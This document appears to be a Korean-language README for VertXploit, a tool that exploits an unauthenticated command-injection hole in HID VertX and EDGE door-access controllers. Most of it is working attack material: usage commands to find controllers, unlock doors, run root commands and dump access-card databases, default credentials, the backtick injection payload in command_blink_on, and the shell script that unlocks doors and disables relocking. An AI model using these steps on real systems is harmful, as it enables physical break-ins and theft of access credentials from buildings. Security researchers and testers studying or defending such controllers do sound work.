
HID VertX 및 EDGE 출입 통제 시스템 익스플로잇
HID VertX 및 EDGE 출입 통제 시스템 공격
VertXploit는 HID VertX 및 EDGE 출입 통제 시스템을 공격하는 데 사용할 수 있는 도구입니다.
discoveryd 서비스에는 시스템 호출을 실행하기 전에 사용자 데이터를 검증하지 않는 취약점이 존재합니다. 이로 인해 인증 없이 HID VertX 및 EDGE 출입 통제 시스템에서 임의 코드 실행이 가능합니다. 자세한 내용은 명령 주입 섹션을 참조하십시오.
VertXploit는 출입 통제 시스템에 연결된 문을 잠금 해제하거나 잠그고, 프로비저닝/캐시된 모든 출입 통제 카드가 포함된 데이터베이스를 다운로드하며, 취약한 경우 VertX 시스템에서 루트 권한으로 임의 명령을 실행할 수 있습니다.
VertX 컨트롤러의 펌웨어가 최근에 업데이트된 경우, VertXploit는 기본값 또는 사용자가 제공한 사용자 이름과 비밀번호를 사용하여 웹 콘솔을 통해 문을 잠금 해제하거나 잠그려고 시도합니다.
필수 Python 모듈을 설치하려면 pip install -r requirements.txt를 실행하십시오.
도움말 메뉴를 표시하려면 ./vertXploit.py -h를 실행하거나, 특정 동작에 대한 도움말을 보려면 ./vertXploit.py ACTION -h를 실행하십시오.
로컬 브로드캐스트 네트워크에서 모든 HID 출입 통제 시스템을 검색하려면 discover 동작 인수만 사용하여 VertXploit를 실행하십시오. 선택적 --ip IP 인수로 IP 주소가 제공되면 VertXploit는 python-nmap을 사용하여 해당 /24 네트워크 범위에서 포트 4050이 열린 시스템을 스캔합니다. 그런 다음 VertXploit는 식별된 IP 주소로 discovery UDP 패킷을 전송하여 해당 시스템이 HID 출입 통제 패널인지 확인합니다.
예:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
컨트롤러가 검색되면 fingerprint 동작 인수와 출입 통제기의 IP 주소를 사용하여 VertXploit를 실행하면 출입 통제 패널에 대한 자세한 정보가 반환됩니다.
예:
./vertXploit.py fingerprint 10.1.10.5
출입 통제 패널에 연결된 문을 잠금 해제하거나 잠그려면 unlock 또는 lock 동작 인수와 컨트롤러의 IP 주소를 사용하여 VertXploit를 실행하십시오. 컨트롤러가 명령 주입 취약점에 취약하지 않은 경우, VertXploit는 웹 콘솔을 통해 문을 잠금 해제하거나 잠그려고 시도합니다. 이 방법은 기본 사용자 이름 'root'와 기본 비밀번호 'pass'를 사용하며, --username USERNAME 및 --password PASSWORD 인수로 직접 지정할 수 있습니다.
예:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
raw 동작 인수와 컨트롤러의 IP 주소를 사용하여 출입 통제 시스템에서 임의의 Linux 명령을 실행할 수 있습니다. 명령이 컨트롤러에 설치되어 있지 않은 경우 실행에 실패할 수 있습니다(Python, Perl, Ruby 등). 간단한 개념 증명으로, 기본 Linux 'ping' 명령은 테스트한 모든 VertX 및 EDGE 모델에서 작동하는 것으로 보입니다.
예:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
컨트롤러의 카드 데이터베이스를 다운로드하려면 download 동작 인수와 컨트롤러의 IP 주소를 사용하여 VertXploit를 실행하십시오. 컨트롤러는 명령 주입 취약점에 반드시 취약해야 하며, 두 카드 데이터베이스를 다운로드하려면 컨트롤러의 웹 인터페이스에 반드시 접근할 수 있어야 합니다. 웹 인증에는 기본 사용자 이름 'root'와 기본 비밀번호 'pass'가 사용되며, --username USERNAME 및 --password PASSWORD 인수로 직접 지정할 수 있습니다.
예:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
컨트롤러에서 'IdentDB' 및 'AccessDB' 데이터베이스를 다운로드한 후, dump 동작 인수를 사용하여 데이터베이스 내용을 덤프하십시오. 선택적으로 --path PATH 인수로 데이터베이스의 로컬 파일 경로를 지정할 수 있습니다.
예:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
일반적으로 여러 VertX 또는 EDGE 출입 통제 컨트롤러가 함께 설치되고 수용됩니다. 진단 명령 command_blink_on을 특정 컨트롤러로 전송하면 패널의 물리적 "Comm" LED가 시각적 식별을 위해 깜빡입니다. 이 명령은 일반적으로 LED가 깜빡여야 하는 횟수로 끝나며, 다음 경우에는 30회입니다.
command_blink_on;044;00:11:22:33:44:55;30;
깜빡임 횟수를 백틱으로 묶은 Linux 명령으로 바꾸면 해당 명령이 출입 통제기에서 루트 권한으로 실행됩니다.
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
출입 통제 시스템에 연결된 문을 원격으로 잠금 해제하고 잠그기 위해 명령이 /tmp/a로 에코됩니다. 이는 컨트롤러로 보낼 수 있는 두 개의 백틱을 제외한 41자 길이 제한이 있기 때문입니다. 참고: 일부 구형 VertX 컨트롤러는 printf를 포함하지 않는 BusyBox < 1.0.1을 실행 중이므로 echo가 printf 대신 사용됩니다.
파일에 명령을 에코하여 생성된 줄바꿈은 tr -d '\n' < /tmp/a > /tmp/b를 실행하여 제거되고, 의도된 줄바꿈은 tr '!' '\n' < /tmp/b > /tmp/a를 실행하여 삽입됩니다.
그런 다음 스크립트 /tmp/a가 실행되고 두 파일이 모두 삭제됩니다. 아래는 unlock 및 lock 명령이 VertX 컨트롤러로 전송될 때 /tmp/a로 에코되는 명령을 보여줍니다.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi